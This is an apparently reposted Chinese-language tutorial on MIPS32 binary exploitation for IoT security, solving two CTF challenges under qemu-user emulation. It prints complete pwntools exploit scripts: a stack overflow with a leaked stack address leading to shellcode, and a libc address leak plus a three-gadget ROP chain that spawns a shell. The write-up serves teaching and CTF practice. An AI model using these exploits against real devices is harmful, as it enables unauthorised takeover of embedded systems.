物联网安全入门丨异构PWN(MIPS32)

IoT 2年前 (2022) admin
565 0 0
物联网安全入门丨异构PWN(MIPS32)

ret2shellcode


本篇文章尽量淡化对$s8和$fp这两个寄存器的区分。

和x86 pwn相同,这里先检查可执行文件的保护情况:

物联网安全入门丨异构PWN(MIPS32)

什么保护也没有开启,根据我之前做x86的pwn的经验,直接ret2shellcode。放到IDA中查看main的伪代码,如下图所示:

物联网安全入门丨异构PWN(MIPS32)

进入getUsername函数,read没有溢出,并且Username要求输入以“admin”为开头的字符串,否则会退出:

物联网安全入门丨异构PWN(MIPS32)

该函数返回后会将Username的长度传入checkPassword()中:

物联网安全入门丨异构PWN(MIPS32)

先来看第一个read函数,read(0, v2, 36),v2变量的定义为char v2[20],显而易见,该read可以造成栈溢出,可溢出的数据量为16字节。该函数的栈帧如下图所示:

物联网安全入门丨异构PWN(MIPS32)

很明显,溢出之后就可以修改传入的passwordLen,这样第二个read:read(0, v4, passwordLen)就会出现任意长度的栈溢出。返回地址和Frame Pointer在该栈帧上的排布如下:

物联网安全入门丨异构PWN(MIPS32)

因为checkPassword函数调用了其他的库函数,所以属于非叶子函数;即,在前面的文章中提到:“如果函数B是非叶子函数,则函数B先从堆栈中取出被保存在堆栈上的返回地址,然后将返回地址存入寄存器$ra,再使用jr $ra指令返回函数A”,所以我们只需要溢出修改上图的return_addr即可。在x86中,针对ret2shellcode这种攻击手段有两种方式:

将shellcode写到已知地址并且具有可执行权限的内存区域中,然后劫持返回地址到该地址执行shellcode

若栈地址未知,直接将shellcode写到返回地址的后面,将返回地址覆盖为gadgetpop eip的地址,这样返回后就能执行shellcode 了。

首先排除第2种利用方法,因为MIPS指令集中并没有push和pop指令,所以我们只能使用第一种方法,在本题中要求我们需要泄露出栈地址。注意到getUsername有printf函数,我们只需要将v1填满(避免printf遇到x00截断)就可以泄露出栈底地址与return_addr(非所在的栈地址):

物联网安全入门丨异构PWN(MIPS32)
from pwn import *import syscontext.arch = "mips"context.endian = 'little'context.log_level = 'debug'
try:  if(sys.argv[1] == "g"):      p = process(["qemu-mipsel-static", "-g", "1234", "-L", "./", "./Mplogin"])  elif(sys.argv[1] == "l"):      p = process(["qemu-mipsel-static", "-L", "./", "./Mplogin"])  else:    raise(Exception)except:    print("<usage: python exp (your choice)>")    exit(0)
p.recvuntil(b"Username : ")p.send(b"admin".ljust(24, b"a"))p.recvuntil((24-len(b"admin"))*b'a')print(p.recv())p.close()
物联网安全入门丨异构PWN(MIPS32)
物联网安全入门丨异构PWN(MIPS32)

根据栈帧平衡,getUsername与checkPassword的返回地址与栈底地址所处的位置相同:

物联网安全入门丨异构PWN(MIPS32)

所以shellcode的地址为0x7FFFEFB0。exp如下:

from pwn import *import syscontext.arch = "mips"context.endian = 'little'context.log_level = 'debug'
try:  if(sys.argv[1] == "g"):      p = process(["qemu-mipsel-static", "-g", "1234", "-L", "./", "./Mplogin"])  elif(sys.argv[1] == "l"):      p = process(["qemu-mipsel-static", "-L", "./", "./Mplogin"])  else:    raise(Exception)except:    print("<usage: python exp (your choice)>")    exit(0)
p.recvuntil(b"Username : ")p.send(b"admin".ljust(24, b"a"))p.recvuntil((24-len(b"admin"))*b'a')leak_addr = (u32(p.recv(4)))log.info("leak addr is {}".format(hex(leak_addr)))
p.recvuntil(b"Pre_Password : ")p.send(b'access'+b'a'*14+p32(0x100))p.recvuntil("Password : ")p.send(b"0123456789".ljust(40, b"b")+p32(leak_addr)+asm(shellcraft.sh()))    # 将返回地址更改为leak_addrp.interactive()
物联网安全入门丨异构PWN(MIPS32)



ret2libc


qemu-user

进行checksec检查,发现开启了PIE和RELRO保护:

物联网安全入门丨异构PWN(MIPS32)

我们都知道,地址随机化只是保持低12位不变,高位还是会随机变的;但是这里需要注意的是,在强网比赛的时候环境是使用qemu-user模拟的,所以PIE保护是不会生效的,也就是说libc的地址固定不变。对eserver进行逆向分析,可以得到如下结论:

main函数存在栈溢出。

main函数存在后门函数backdoor。

backdoor函数只能调用一次。

物联网安全入门丨异构PWN(MIPS32)

其中后门函数backdoor可以泄露出read函数的后3字节地址(低18位)中的任意一个字节:

物联网安全入门丨异构PWN(MIPS32)

因为该程序由qemu-user模拟,所以无论你重启多少次程序,read函数的地址永远不变。即,我们要启动3次程序以泄露出read函数的后三位真实地址,这一部分的代码如下:

from pwn import *context.arch = "mips"context.endian = 'little'# context.log_level = 'debug'
readOffset_True = 0libc = ELF("./lib/libc.so.6")for i in range(3):    p = process(["qemu-mipsel-static", "-L", ".", "./eserver"])    p.sendlineafter("Input package: ","Administrator")    log.info(p.recv())    sleep(0.1)    p.sendlineafter("Input package: ",str(i))    p.recvuntil("Response package: ")    leak_byte = u8(p.recv(1))    print(leak_byte)    readOffset_True += (leak_byte << (8*i))    p.close()print(hex(readOffset_True))
物联网安全入门丨异构PWN(MIPS32)

对照一下本题的libc:

物联网安全入门丨异构PWN(MIPS32)

现在我们知道了两个地址:

  • 程序运行时read函数的真实地址的后3字节:0x6FBEA4

  • read函数在文件中的偏移为0xDDEA4

但是根据这些我们仍然无法完全得知libc代码段的基地址,只能得到后三位为0x6FBEA4 - 0xDDEA4 == 0x61e000。正好,使用qemu-user模拟的程序其动态链接库都会加载到0x7f0000000x80000000范围之内,那这不就简单了,read函数的完整地址应为0x7f000000 + 0x61e000 == 0x7f61e000

下面开始利用,程序没有开启NX保护,我们还是可以ret2shellcode;但是我们无法像之前得知栈地址,因此需要走一些弯路找gadgets。这里就使用IDA的mipsrop插件好了

mipsrop插件:https://github.com/devttys0/ida/blob/master/plugins/mipsrop/mipsrop.py

下载完成之后放到IDA的plugins目录,用IDA打开题目自带的libc.so.6,点击search->mips rop gadgets,然后在最下面的python代码框中键入mipsrop.find(<要寻找的gadget>)以寻找相应的gadgets。我们直接来看看exp是怎么写的,首先计算出libc代码段的基地址以及其他所需gadgets的真实地址:

print(hex(readOffset_True))readOffset_Libc = libc.symbols['read']libcCodeBase = readOffset_True - readOffset_Libc FullLibcCodeBase = 0x7f000000 + libcCodeBaselog.success(hex(FullLibcCodeBase))
# 所有的地址都不会变化p = process(["qemu-mipsel-static", "-L", "./", "./eserver"])
lw_s3_gadget = 0x0A0C7C + FullLibcCodeBasejalr_t9_gadget = 0x11C68C + FullLibcCodeBaseaddiu_a1_sp_24_gadget = 0xF60D4 + FullLibcCodeBase

我们跟着gadgets了解下getshell的流程,溢出后栈布局为:

shellcode = asm(shellcraft.sh())padding = b"TruE"
payload = b'a'*504              # overflowpayload += b'b'*4              # $fp                 payload += p32(lw_s3_gadget)         # $ra  payload += b'c'*44payload += padding                          # s0payload += padding                          # s1payload += padding                          # s2payload += p32(jalr_t9_gadget)              # s3payload += p32(addiu_a1_sp_24_gadget)       # ra  payload += b'd'*24payload += shellcode

首先执行lw_s3_gadget,根据栈与gadget,有:

物联网安全入门丨异构PWN(MIPS32)
'''lw_s3_gadget:# .text:000A0C7C                 lw      $ra, 0x2C+var_s10($sp)【$ra == &addiu_a1_sp_24_gadget】# .text:000A0C80                 lw      $s3, 0x2C+var_sC($sp) 【$s3 == &jalr_t9_gadget】# .text:000A0C84                 lw      $s2, 0x2C+var_s8($sp) 【$s2 == "TruE"# .text:000A0C88                 lw      $s1, 0x2C+var_s4($sp) 【$s1 == "TruE"# .text:000A0C8C                 lw      $s0, 0x2C+var_s0($sp) 【$s0 == "TruE"# .text:000A0C90                 jr      $ra           【调用addiu_a1_sp_24_gadget】''' 

跳转到addiu_a1_sp_24_gadget执行:

'''addiu_a1_sp_24_gadget# .text:000F60D4                 addiu   $a1, $sp, 24      【$a1 = $sp + 24# .text:000F60D8                 move    $t9, $s3        【$t9 == &jalr_t9_gadget】# .text:000F60DC                 jalr    $t9          【调用jalr_t9_gadget】''' 

最后到jalr_t9_gadget:

'''jalr_t9_gadget# .text:0011C68C                 move    $t9, $a1        【$t9 == $a1 == $sp + 24# .text:0011C690                 move    $a1, $a0        【$a1 == $a0 == 未知】# .text:0011C694                 jalr    $t9          【???】'''

不是,这后半部分的调用我怎么没有看懂呢?最后的jalr到底调用了什么呢?正常来说经过第二个gadget后$a1应该指向的是shellcode的地址,但是根据上面的汇编,$a1怎么可能指向shellcode,他又没有改变$sp寄存器?到这里暂停一下,先来看一个之前文章中出现的例子:

// mipsel-linux-gnu-gcc -g -fno-stack-protector -z execstack -no-pie -z norelro leaf_function.c -o leaf_function_MIPSEL_32#include <stdio.h>
char* child1_func1(char* buffer){    return buffer;}
void parent_func(){    char *name = "cyberangel";    printf("I'm parent functionn");    printf("%s",child1_func1(name));
}int main(){    parent_func();    return 0;}

下面是parent_func函数的汇编代码,可以看到每一条调用函数的jalr(jal)之后都紧跟着一个nop指令:


物联网安全入门丨异构PWN(MIPS32)

但是你真的在意过这些nop指令的作用吗?我们可以将任意一个函数后面的nop改为其他不影响程序执行流程的指令,这里就改jal child1_func1的nop吧,改为move $a1, $a0

物联网安全入门丨异构PWN(MIPS32)

将此可执行文件导出,使用IDA调试:

物联网安全入门丨异构PWN(MIPS32)

现在$a0与$a1的寄存器值分别为0x004009F0与0xFFFFFFFF,按下F7单步步入:

物联网安全入门丨异构PWN(MIPS32)

现在$a1的值同样变化为0x4009F0,说明程序在执行child1_func函数的第一条指令之前提前执行了move $a1, $a0,这也就是为什么每条调用函数的汇编指令之后紧跟着一个nop而非其他指令 — 不进行任何操作;出现这种情况的原因似乎与MIPS架构的流水线特性有关…函数返回后retn到&jal+8处继续执行。

其实前面所展示的gadgets是省略的,都缺少了调用指令之后的那条指令,回过头来看我们的gadgets,首先是:

物联网安全入门丨异构PWN(MIPS32)

哎,这就对味了嘛(下面的代码框以$sp为基准):

# 执行前payload += b'c'*44payload += padding                          # s0(4字节,下同)payload += padding                          # s1payload += padding                          # s2payload += p32(jalr_t9_gadget)              # s3payload += p32(addiu_a1_sp_24_gadget)       # ra  payload += b'd'*24payload += shellcode
# 执行后payload += b'd'*24payload += shellcode
'''lw_s3_gadget:# .text:000A0C7C                 lw      $ra, 0x2C+var_s10($sp)【$ra == &addiu_a1_sp_24_gadget】# .text:000A0C80                 lw      $s3, 0x2C+var_sC($sp) 【$s3 == &jalr_t9_gadget】# .text:000A0C84                 lw      $s2, 0x2C+var_s8($sp) 【$s2 == "TruE"# .text:000A0C88                 lw      $s1, 0x2C+var_s4($sp) 【$s1 == "TruE"# .text:000A0C8C                 lw      $s0, 0x2C+var_s0($sp) 【$s0 == "TruE"# .text:000A0C90                 jr      $ra           【调用addiu_a1_sp_24_gadget】# .text:000A0C94                 addiu   $sp, 0x40        ''' 

执行addiu_a1_sp_24_gadget:

物联网安全入门丨异构PWN(MIPS32)
'''addiu_a1_sp_24_gadget# .text:000F60D4                 addiu   $a1, $sp, 24      【$a1 = $sp + 24 = &shellcode】# .text:000F60D8                 move    $t9, $s3        【$t9 == &jalr_t9_gadget】# .text:000F60DC                 jalr    $t9          【调用jalr_t9_gadget】# .text:000F60E0                 li      $a0, 0x1D        ''' 

执行后$a1指向shellcode的起始地址,最后执行jalr_t9_gadget:

物联网安全入门丨异构PWN(MIPS32)
printf("hello world!");

最后需要让程序退出以触发payload,完整exp如下:

from pwn import *context.arch = "mips"context.endian = 'little'# context.log_level = 'debug'
readOffset_True = 0libc = ELF("./lib/libc.so.6")for i in range(3):    p = process(["qemu-mipsel-static", "-L", ".", "./eserver"])    p.sendlineafter("Input package: ","Administrator")    log.info(p.recv())    sleep(0.1)    p.sendlineafter("Input package: ",str(i))    p.recvuntil("Response package: ")    leak_byte = u8(p.recv(1))    readOffset_True += (leak_byte << (8*i))    p.close()print(hex(readOffset_True))readOffset_Libc = libc.symbols['read']libcCodeBase = readOffset_True - readOffset_Libc FullLibcCodeBase = 0x7f000000 + libcCodeBaselog.success(hex(FullLibcCodeBase))# -----------------------------------------------------------p = process(["qemu-mipsel-static","-L", "./", "./eserver"])
lw_s3_gadget = 0x0A0C7C + FullLibcCodeBasejalr_t9_gadget = 0x11C68C + FullLibcCodeBaseaddiu_a1_sp_24_gadget = 0xF60D4 + FullLibcCodeBase
padding = b"TruE"shellcode = asm(shellcraft.sh())payload = b'a'*504              # overflowpayload += b'b'*4              # $fp                '''lw_s3_gadget:# .text:000A0C7C                 lw      $ra, 0x2C+var_s10($sp)# .text:000A0C80                 lw      $s3, 0x2C+var_sC($sp)# .text:000A0C84                 lw      $s2, 0x2C+var_s8($sp)# .text:000A0C88                 lw      $s1, 0x2C+var_s4($sp)# .text:000A0C8C                 lw      $s0, 0x2C+var_s0($sp)# .text:000A0C90                 jr      $ra# .text:000A0C94                 addiu   $sp, 0x40'''  payload += p32(lw_s3_gadget)         # $ra        payload += b'c'*44payload += padding                          # s0payload += padding                          # s1payload += padding                          # s2'''jalr_t9_gadget# .text:0011C68C                 move    $t9, $a1# .text:0011C690                 move    $a1, $a0# .text:0011C694                 jalr    $t9# .text:0011C698                 move    $a0, $v1'''payload += p32(jalr_t9_gadget)              # s3'''addiu_a1_sp_24_gadget# .text:000F60D4                 addiu   $a1, $sp, 24# .text:000F60D8                 move    $t9, $s3# .text:000F60DC                 jalr    $t9# .text:000F60E0                 li      $a0, 0x1D''' payload += p32(addiu_a1_sp_24_gadget)       # ra  payload += b'd'*24payload += shellcode
p.sendlineafter('Input package: ', payload)p.sendlineafter('Input package: ', 'EXIT')p.interactive()
物联网安全入门丨异构PWN(MIPS32)

最后出现ls: write error: Bad file descriptor的错误,这是因为程序在最后关闭了标准输出:

物联网安全入门丨异构PWN(MIPS32)

我们只需要将流重定向到stderr就行:ls 1>&2

物联网安全入门丨异构PWN(MIPS32)

另外,pwndbg的vmmap命令不支持qemu-user(无法查看内存布局),并且无法对函数直接下断点(b main),总之局限性非常大:

cyberangel@cyberangel:~/Desktop/MIPS_PWN/eserver$ qemu-mipsel-static -g 1234 -L . ./eserver----------------------------------------------------------------------------------------------------------------gdb-multiarch$ set arch mips$ set endian little$ target remote localhost:1234$ file ./eserver$ b main  【Breakpoint 1 at 0xfe0$ c        【直接跑飞,无法断下】
物联网安全入门丨异构PWN(MIPS32)

要想能正常调试还得看我qemu-system。


由于文章字数受限

可点击下方【阅读原文】阅读全篇。



物联网安全入门丨异构PWN(MIPS32)

原文始发于微信公众号(IOTsec Zone):物联网安全入门丨异构PWN(MIPS32)

版权声明:admin 发表于 2022年8月26日 下午4:24。
转载请注明:物联网安全入门丨异构PWN(MIPS32) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...